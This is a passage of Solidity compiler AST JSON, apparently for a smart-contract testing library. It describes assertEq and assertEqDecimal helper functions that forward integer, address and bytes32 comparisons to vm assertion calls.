","typeString":"uint256"},"typeName":{"id":400,"name":"uint256","nodeType":"ElementaryTypeName","src":"2580:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2550:47:1"},"returnParameters":{"id":403,"nodeType":"ParameterList","parameters":[],"src":"2620:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":434,"nodeType":"FunctionDefinition","src":"2684:176:1","nodes":[],"body":{"id":433,"nodeType":"Block","src":"2797:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":427,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":415,"src":"2826:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":428,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":417,"src":"2832:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":429,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":419,"src":"2839:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":430,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":421,"src":"2849:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":424,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2807:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":426,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2810:15:1","memberName":"assertEqDecimal","nodeType":"MemberAccess","referencedDeclaration":13679,"src":"2807:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":431,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2807:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":432,"nodeType":"ExpressionStatement","src":"2807:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"2693:15:1","parameters":{"id":422,"nodeType":"ParameterList","parameters":[{"constant":false,"id":415,"mutability":"mutable","name":"left","nameLocation":"2717:4:1","nodeType":"VariableDeclaration","scope":434,"src":"2709:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":414,"name":"uint256","nodeType":"ElementaryTypeName","src":"2709:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":417,"mutability":"mutable","name":"right","nameLocation":"2731:5:1","nodeType":"VariableDeclaration","scope":434,"src":"2723:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":416,"name":"uint256","nodeType":"ElementaryTypeName","src":"2723:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":419,"mutability":"mutable","name":"decimals","nameLocation":"2746:8:1","nodeType":"VariableDeclaration","scope":434,"src":"2738:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":418,"name":"uint256","nodeType":"ElementaryTypeName","src":"2738:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":421,"mutability":"mutable","name":"err","nameLocation":"2770:3:1","nodeType":"VariableDeclaration","scope":434,"src":"2756:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":420,"name":"string","nodeType":"ElementaryTypeName","src":"2756:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2708:66:1"},"returnParameters":{"id":423,"nodeType":"ParameterList","parameters":[],"src":"2797:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":449,"nodeType":"FunctionDefinition","src":"2866:108:1","nodes":[],"body":{"id":448,"nodeType":"Block","src":"2933:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":444,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":436,"src":"2955:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":445,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":438,"src":"2961:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":441,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"2943:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":443,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2946:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13935,"src":"2943:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":446,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2943:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":447,"nodeType":"ExpressionStatement","src":"2943:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2875:8:1","parameters":{"id":439,"nodeType":"ParameterList","parameters":[{"constant":false,"id":436,"mutability":"mutable","name":"left","nameLocation":"2891:4:1","nodeType":"VariableDeclaration","scope":449,"src":"2884:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":435,"name":"int256","nodeType":"ElementaryTypeName","src":"2884:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":438,"mutability":"mutable","name":"right","nameLocation":"2904:5:1","nodeType":"VariableDeclaration","scope":449,"src":"2897:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":437,"name":"int256","nodeType":"ElementaryTypeName","src":"2897:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"2883:27:1"},"returnParameters":{"id":440,"nodeType":"ParameterList","parameters":[],"src":"2933:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":467,"nodeType":"FunctionDefinition","src":"2980:132:1","nodes":[],"body":{"id":466,"nodeType":"Block","src":"3066:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":461,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":451,"src":"3088:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":462,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":453,"src":"3094:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":463,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":455,"src":"3101:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":458,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3076:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":460,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3079:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13945,"src":"3076:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":464,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3076:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":465,"nodeType":"ExpressionStatement","src":"3076:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"2989:8:1","parameters":{"id":456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":451,"mutability":"mutable","name":"left","nameLocation":"3005:4:1","nodeType":"VariableDeclaration","scope":467,"src":"2998:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":450,"name":"int256","nodeType":"ElementaryTypeName","src":"2998:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":453,"mutability":"mutable","name":"right","nameLocation":"3018:5:1","nodeType":"VariableDeclaration","scope":467,"src":"3011:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":452,"name":"int256","nodeType":"ElementaryTypeName","src":"3011:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":455,"mutability":"mutable","name":"err","nameLocation":"3039:3:1","nodeType":"VariableDeclaration","scope":467,"src":"3025:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":454,"name":"string","nodeType":"ElementaryTypeName","src":"3025:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2997:46:1"},"returnParameters":{"id":457,"nodeType":"ParameterList","parameters":[],"src":"3066:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":485,"nodeType":"FunctionDefinition","src":"3118:150:1","nodes":[],"body":{"id":484,"nodeType":"Block","src":"3210:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":479,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":469,"src":"3239:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":480,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":471,"src":"3245:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":481,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":473,"src":"3252:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":476,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3220:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":478,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3223:15:1","memberName":"assertEqDecimal","nodeType":"MemberAccess","referencedDeclaration":13689,"src":"3220:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3220:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":483,"nodeType":"ExpressionStatement","src":"3220:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"3127:15:1","parameters":{"id":474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":469,"mutability":"mutable","name":"left","nameLocation":"3150:4:1","nodeType":"VariableDeclaration","scope":485,"src":"3143:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":468,"name":"int256","nodeType":"ElementaryTypeName","src":"3143:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":471,"mutability":"mutable","name":"right","nameLocation":"3163:5:1","nodeType":"VariableDeclaration","scope":485,"src":"3156:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":470,"name":"int256","nodeType":"ElementaryTypeName","src":"3156:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":473,"mutability":"mutable","name":"decimals","nameLocation":"3178:8:1","nodeType":"VariableDeclaration","scope":485,"src":"3170:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":472,"name":"uint256","nodeType":"ElementaryTypeName","src":"3170:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3142:45:1"},"returnParameters":{"id":475,"nodeType":"ParameterList","parameters":[],"src":"3210:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":506,"nodeType":"FunctionDefinition","src":"3274:174:1","nodes":[],"body":{"id":505,"nodeType":"Block","src":"3385:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":499,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":487,"src":"3414:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":500,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":489,"src":"3420:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":501,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":491,"src":"3427:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":502,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":493,"src":"3437:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":496,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3395:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":498,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3398:15:1","memberName":"assertEqDecimal","nodeType":"MemberAccess","referencedDeclaration":13701,"src":"3395:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3395:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":504,"nodeType":"ExpressionStatement","src":"3395:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEqDecimal","nameLocation":"3283:15:1","parameters":{"id":494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":487,"mutability":"mutable","name":"left","nameLocation":"3306:4:1","nodeType":"VariableDeclaration","scope":506,"src":"3299:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":486,"name":"int256","nodeType":"ElementaryTypeName","src":"3299:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":489,"mutability":"mutable","name":"right","nameLocation":"3319:5:1","nodeType":"VariableDeclaration","scope":506,"src":"3312:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":488,"name":"int256","nodeType":"ElementaryTypeName","src":"3312:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":491,"mutability":"mutable","name":"decimals","nameLocation":"3334:8:1","nodeType":"VariableDeclaration","scope":506,"src":"3326:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":490,"name":"uint256","nodeType":"ElementaryTypeName","src":"3326:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":493,"mutability":"mutable","name":"err","nameLocation":"3358:3:1","nodeType":"VariableDeclaration","scope":506,"src":"3344:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":492,"name":"string","nodeType":"ElementaryTypeName","src":"3344:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3298:64:1"},"returnParameters":{"id":495,"nodeType":"ParameterList","parameters":[],"src":"3385:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":521,"nodeType":"FunctionDefinition","src":"3454:110:1","nodes":[],"body":{"id":520,"nodeType":"Block","src":"3523:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":516,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":508,"src":"3545:4:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":517,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":510,"src":"3551:5:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":513,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3533:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":515,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3536:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13953,"src":"3533:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) pure external"}},"id":518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3533:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":519,"nodeType":"ExpressionStatement","src":"3533:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"3463:8:1","parameters":{"id":511,"nodeType":"ParameterList","parameters":[{"constant":false,"id":508,"mutability":"mutable","name":"left","nameLocation":"3480:4:1","nodeType":"VariableDeclaration","scope":521,"src":"3472:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":507,"name":"address","nodeType":"ElementaryTypeName","src":"3472:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":510,"mutability":"mutable","name":"right","nameLocation":"3494:5:1","nodeType":"VariableDeclaration","scope":521,"src":"3486:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":509,"name":"address","nodeType":"ElementaryTypeName","src":"3486:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3471:29:1"},"returnParameters":{"id":512,"nodeType":"ParameterList","parameters":[],"src":"3523:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":539,"nodeType":"FunctionDefinition","src":"3570:134:1","nodes":[],"body":{"id":538,"nodeType":"Block","src":"3658:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":533,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":523,"src":"3680:4:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":534,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":525,"src":"3686:5:1","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":535,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":527,"src":"3693:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":530,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3668:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":532,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3671:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13963,"src":"3668:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,address,string memory) pure external"}},"id":536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3668:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":537,"nodeType":"ExpressionStatement","src":"3668:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"3579:8:1","parameters":{"id":528,"nodeType":"ParameterList","parameters":[{"constant":false,"id":523,"mutability":"mutable","name":"left","nameLocation":"3596:4:1","nodeType":"VariableDeclaration","scope":539,"src":"3588:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":522,"name":"address","nodeType":"ElementaryTypeName","src":"3588:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":525,"mutability":"mutable","name":"right","nameLocation":"3610:5:1","nodeType":"VariableDeclaration","scope":539,"src":"3602:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":524,"name":"address","nodeType":"ElementaryTypeName","src":"3602:7:1","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":527,"mutability":"mutable","name":"err","nameLocation":"3631:3:1","nodeType":"VariableDeclaration","scope":539,"src":"3617:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":526,"name":"string","nodeType":"ElementaryTypeName","src":"3617:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3587:48:1"},"returnParameters":{"id":529,"nodeType":"ParameterList","parameters":[],"src":"3658:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":554,"nodeType":"FunctionDefinition","src":"3710:110:1","nodes":[],"body":{"id":553,"nodeType":"Block","src":"3779:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":549,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":541,"src":"3801:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":550,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":543,"src":"3807:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":546,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3789:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":548,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3792:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13971,"src":"3789:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (bytes32,bytes32) pure external"}},"id":551,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3789:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":552,"nodeType":"ExpressionStatement","src":"3789:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"3719:8:1","parameters":{"id":544,"nodeType":"ParameterList","parameters":[{"constant":false,"id":541,"mutability":"mutable","name":"left","nameLocation":"3736:4:1","nodeType":"VariableDeclaration","scope":554,"src":"3728:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":540,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3728:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":543,"mutability":"mutable","name":"right","nameLocation":"3750:5:1","nodeType":"VariableDeclaration","scope":554,"src":"3742:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":542,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3742:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3727:29:1"},"returnParameters":{"id":545,"nodeType":"ParameterList","parameters":[],"src":"3779:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":572,"nodeType":"FunctionDefinition","src":"3826:134:1","nodes":[],"body":{"id":571,"nodeType":"Block","src":"3914:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":566,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":556,"src":"3936:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":567,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":558,"src":"3942:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":568,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":560,"src":"3949:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":563,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"3924:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3927:8:1","memberName":"assertEq","nodeType":"MemberAccess","referencedDeclaration":13981,"src":"3924:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes32,bytes32,string memory) pure 